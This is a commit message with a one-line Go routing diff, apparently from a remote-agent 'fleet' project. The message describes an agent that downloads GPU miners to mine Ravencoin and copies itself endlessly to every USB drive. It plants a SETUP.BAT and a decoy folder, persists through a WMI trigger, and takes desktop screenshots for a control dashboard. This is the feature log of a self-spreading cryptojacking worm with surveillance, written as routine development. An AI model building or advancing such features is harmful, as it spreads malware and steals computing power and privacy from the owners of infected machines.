Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

server/internal/api/router.go

@@ -442,6 +442,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		r.Get("/agents/{id}/stats", h.GetAgentStats)
 		if fleetHandler != nil {
 			r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
+			r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
 			r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
 			r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
 			r.Delete("/agents/{id}", fleetHandler.DeleteAgent)